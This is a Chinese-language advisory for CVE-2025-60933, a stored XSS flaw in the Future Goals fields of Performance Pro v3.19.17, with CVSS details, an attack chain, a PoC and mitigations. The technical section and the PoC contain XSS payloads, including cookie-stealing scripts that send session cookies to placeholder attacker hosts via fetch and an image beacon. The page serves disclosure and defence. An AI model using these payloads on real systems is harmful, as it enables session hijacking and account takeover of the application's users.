IPBUF安全漏洞报告
English
CVE-2025-60933 CVSS 6.1 中危

CVE-2025-60933:HR Performance Solutions Performance Pro 存储型XSS漏洞

披露日期: 2025-10-21

漏洞信息

漏洞编号
CVE-2025-60933
漏洞类型
存储型跨站脚本(Stored XSS)
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
HR Performance Solutions Performance Pro

相关标签

存储型XSS跨站脚本CVE-2025-60933HR Performance SolutionsPerformance ProWeb应用安全中危漏洞CVSS 6.1Future Goals输入验证缺陷

漏洞概述

CVE-2025-60933是HR Performance Solutions Performance Pro v3.19.17中存在的一组存储型跨站脚本(Stored XSS)漏洞。该漏洞位于应用程序的Future Goals(未来目标)功能模块中,攻击者可以通过精心构造的恶意负载注入到多个输入参数中,包括Goal Name(目标名称)、Goal Notes(目标备注)、Action Step Name(行动步骤名称)、Action Step Description(行动步骤描述)、Note Name(备注名称)以及Goal Description(目标描述)等字段。由于应用程序未对这些用户输入进行充分的过滤和转义处理,恶意脚本或HTML代码将被持久化存储在服务器端,当其他用户访问包含这些数据的页面时,存储的恶意代码将在其浏览器中自动执行。

该漏洞的CVSS评分为6.1,属于中危级别。其攻击向量为网络(AV:N),攻击复杂度低(AC:L),无需特权(PR:N),但需要用户交互(UI:R),影响范围为变更(S:C),对机密性和完整性产生低影响,对可用性无影响。

此漏洞的危害主要体现在以下几个方面:攻击者可以窃取受害者的会话cookie、进行钓鱼攻击、劫持用户账户、在受害者浏览器中执行任意JavaScript代码、篡改页面内容以及进行权限提升等。由于该漏洞为存储型XSS,一旦恶意内容被存储,影响范围将持续扩大,所有访问受影响页面的用户都可能成为受害者。

该漏洞已于PP-Release-6.3.2.0版本中修复,建议受影响的用户尽快升级到该版本以消除安全风险。

技术细节

该漏洞属于典型的存储型XSS漏洞,其根本原因在于HR Performance Solutions Performance Pro v3.19.17的Future Goals功能模块对用户输入数据缺乏充分的输出编码和输入验证机制。

在技术实现层面,当用户在Future Goals功能中创建或编辑目标时,前端表单会将用户输入的数据(如Goal Name、Goal Notes等参数)提交到服务器端进行处理和存储。由于后端程序在接收这些输入时未进行严格的HTML/JavaScript标签过滤,也未对特殊字符(如<、>、"、'等)进行HTML实体编码转义,攻击者可以直接将恶意脚本代码作为正常数据提交并被持久化保存到数据库中。

当其他已认证用户访问包含这些存储数据的页面时,服务器端将未经转义的用户输入直接嵌入到返回的HTML响应中,浏览器在解析这些HTML时会将恶意脚本视为合法的页面内容并执行。由于这些恶意代码在受害者的浏览器上下文中执行,它们可以访问该站点的会话cookie、DOM对象以及执行任何该用户有权限执行的操作。

利用方式方面,攻击者首先需要获得应用程序的有效账户(可通过社会工程学或其他方式获取),然后登录系统并导航至Future Goals功能模块,在目标名称、备注、行动步骤等输入字段中注入类似`<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>`的恶意负载。提交后,该恶意内容将被存储。后续任何查看该目标的合法用户都将触发脚本执行,从而导致cookie窃取、会话劫持或其他恶意操作。

攻击链分析

STEP 1
步骤1:获取访问权限
攻击者通过社会工程学、凭证填充或其他方式获取HR Performance Solutions Performance Pro应用程序的有效用户账户凭据。
STEP 2
步骤2:导航至目标功能
攻击者使用获取的凭据登录系统,并导航至Future Goals(未来目标)功能模块。
STEP 3
步骤3:构造恶意负载
攻击者精心构造包含恶意JavaScript/HTML代码的XSS负载,用于窃取cookie、会话令牌或执行其他恶意操作。
STEP 4
步骤4:注入恶意内容
攻击者将恶意负载注入到Goal Name、Goal Notes、Action Step Name、Action Step Description、Note Name或Goal Description等易受攻击的参数中并提交。
STEP 5
步骤5:恶意内容持久化存储
由于缺乏输入过滤和输出编码,恶意脚本被服务器端接受并存储到数据库中。
STEP 6
步骤6:触发恶意脚本执行
当其他合法用户访问包含该恶意内容的页面时,存储的恶意脚本在其浏览器中自动执行。
STEP 7
步骤7:数据窃取与权限滥用
恶意脚本窃取受害者的会话cookie、进行钓鱼攻击或以受害者身份执行未授权操作,完成攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2025-60933 PoC - Stored XSS in HR Performance Solutions Performance Pro v3.19.17 Vulnerable Parameters: Goal Name, Goal Notes, Action Step Name, Action Step Description, Note Name, Goal Description --> <!-- Step 1: Inject malicious payload into Goal Name parameter --> <script>alert('XSS-GoalName-CVE-2025-60933');</script> <!-- Step 2: Inject malicious payload into Goal Notes parameter --> <img src=x onerror="alert(document.cookie)"> <!-- Step 3: Inject malicious payload into Action Step Name parameter --> <svg/onload=alert('XSS-ActionStep')> <!-- Step 4: Inject malicious payload into Action Step Description parameter --> <body onload="fetch('https://attacker.example.com/steal?c='+document.cookie)"> <!-- Step 5: Inject malicious payload into Note Name parameter --> <input onfocus=alert('XSS-NoteName') autofocus> <!-- Step 6: Inject malicious payload into Goal Description parameter --> <iframe src="javascript:alert('XSS-GoalDescription')"></iframe> <!-- Usage: 1. Login to Performance Pro v3.19.17 with valid credentials 2. Navigate to Future Goals function 3. Create a new goal and paste one of the above payloads into the corresponding field 4. Save the goal 5. When any other user views the goal, the malicious script executes in their browser --> // JavaScript-based cookie stealing payload example var payload = '<script>\n' + 'var img = new Image();\n' + 'img.src = "https://attacker.example.com/steal?session=" + document.cookie + "&url=" + window.location.href;\n' + '</script>'; // Submit via fetch API to the Future Goals endpoint fetch('/future-goals/save', { method: 'POST', headers: {'Content-Type': 'application/x-www-form-urlencoded'}, body: 'goalName=' + encodeURIComponent(payload) + '&goalNotes=test&actionStepName=test&actionStepDescription=test&noteName=test&goalDescription=test' });

影响范围

HR Performance Solutions Performance Pro < PP-Release-6.3.2.0
HR Performance Solutions Performance Pro v3.19.17

防御指南

临时缓解措施
在无法立即升级到修复版本的情况下,建议采取以下临时缓解措施:1)对Future Goals功能模块实施访问控制,限制不可信用户的输入权限;2)部署Web应用防火墙(WAF)规则,检测和阻止包含常见XSS特征的请求;3)在HTTP响应头中设置Content-Security-Policy(CSP),限制内联脚本的执行;4)为所有会话cookie设置HttpOnly和Secure标志,降低cookie被窃取的风险;5)定期审查数据库中存储的目标数据,清理可疑的脚本注入内容;6)监控异常的网络流量和用户行为,及时发现潜在的XSS攻击活动;7)尽快升级到PP-Release-6.3.2.0版本以彻底修复该漏洞。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表